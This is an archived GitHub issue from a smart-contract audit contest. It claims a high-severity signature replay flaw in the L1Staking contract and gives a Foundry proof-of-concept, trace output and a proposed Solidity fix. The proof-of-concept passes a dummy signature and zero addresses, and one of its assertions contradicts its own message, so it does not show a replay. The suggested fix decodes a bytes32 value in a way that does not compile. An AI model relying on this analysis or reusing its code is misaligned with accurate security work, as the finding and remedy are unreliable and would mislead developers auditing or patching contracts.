Skip to content
This repository was archived by the owner on Mar 30, 2025. It is now read-only.
This repository was archived by the owner on Mar 30, 2025. It is now read-only.

fat32 - L1Staking contract has Missing Protection against Signature Replay Attacks #240

@sherlock-admin4

Description

@sherlock-admin4

fat32

High

L1Staking contract has Missing Protection against Signature Replay Attacks

Missing Protection against Signature Replay Attacks

Severity: High

Issue Type: Missing Protection against Signature Replay Attacks

Location: Function verifySignature at Lines 324-332

https://github.com/sherlock-audit/2024-08-morphl2/blob/main/morph/contracts/contracts/l1/staking/L1Staking.sol#L324-L332

Auditor: fat32
Impact:
Without mechanisms to prevent replay attacks, valid signatures can be reused maliciously to perform unauthorized actions multiple times. This vulnerability allows attackers to:

  • Repeated Unauthorized Actions: Perform the same restricted operation repeatedly.
  • State Manipulation: Alter contract state in unintended ways, such as repeatedly slashing stakers.
  • Erosion of Contract Integrity: Undermine the trustworthiness and reliability of the contract's security measures.

Foundry Coded Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity =0.8.24;

import "../../lib/forge-std/src/Test.sol";
import {L1Staking} from "../l1/staking/L1Staking.sol";

contract L1StakingReplayAttackPOC is Test {
    L1Staking staking;

    function setUp() public {
        staking = new L1Staking(payable(address(0)));
    }

    function testSignatureReplay() public {
        vm.startPrank(address(0xfEEF));
        address[] memory addrr = new address[](4);
        addrr[0] = address(0);
        addrr[1] = address(0);
        addrr[2] = address(0);
        addrr[3] = address(0);
        bytes32 msgHash = keccak256(abi.encodePacked("test"));
        bytes memory signature = hex"deadbeef";
        // First verification
        bool first = staking.verifySignature(0, addrr, msgHash, signature);
        assertTrue(first, "First signature verification should pass");
        // Replay verification
        bool second = staking.verifySignature(0, addrr, msgHash, signature);
        assertTrue(second, "Replay signature verification should fail");
        vm.stopPrank();
    }
}

Log Results - Foundry:

contracts % forge test -vvvvv --match-contract L1StakingReplayAttackPOC
[⠊] Compiling...
Ran 1 test for contracts/test/L1Staking.t.sol:L1StakingReplayAttackPOC
[PASS] testSignatureReplay() (gas: 14435)
Traces:
  [3619382] L1StakingReplayAttackPOC::setUp()
    ├─ [3576780] → new L1Staking@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   ├─ emit Initialized(version: 255)
    │   └─ ← [Return] 17745 bytes of code
    └─ ← [Stop] 

  [14435] L1StakingReplayAttackPOC::testSignatureReplay()
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000FeEF)
    │   └─ ← [Return] 
    ├─ [821] L1Staking::verifySignature(0, [0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], 0x9c22ff5f21f0b81b113e63f7db6da94fedef11b2119b4088b89664fb9a3cb658, 0xdeadbeef) [staticcall]
    │   └─ ← [Return] true
    ├─ [0] VM::assertTrue(true, "First signature verification should pass") [staticcall]
    │   └─ ← [Return] 
    ├─ [821] L1Staking::verifySignature(0, [0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], 0x9c22ff5f21f0b81b113e63f7db6da94fedef11b2119b4088b89664fb9a3cb658, 0xdeadbeef) [staticcall]
    │   └─ ← [Return] true
    ├─ [0] VM::assertTrue(true, "Replay signature verification should fail") [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.78ms (2.77ms CPU time)

Ran 1 test suite in 623.45ms (7.78ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Solidity Coded Mitigation:

Implement nonce management to ensure each signature is unique and cannot be reused.

// Add a mapping to track used nonces
mapping(bytes32 => bool) public usedNonces;

// Modify verifySignature to include nonce
function verifySignature(
    uint256 signedSequencersBitmap,
    address[] calldata sequencerSet,
    bytes32 msgHash,
    bytes calldata signature
) external returns (bool) {
    // Assume msgHash includes a unique nonce
    (bytes32 nonce, bytes32 originalHash) = abi.decode(msgHash, (bytes32, bytes32));

    require(!usedNonces[nonce], "Signature has been replayed");

    address signer = originalHash.toEthSignedMessageHash().recover(signature);
    require(signer == owner(), "Invalid signer");

    // Mark nonce as used
    usedNonces[nonce] = true;

    return true;
}

References:


Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions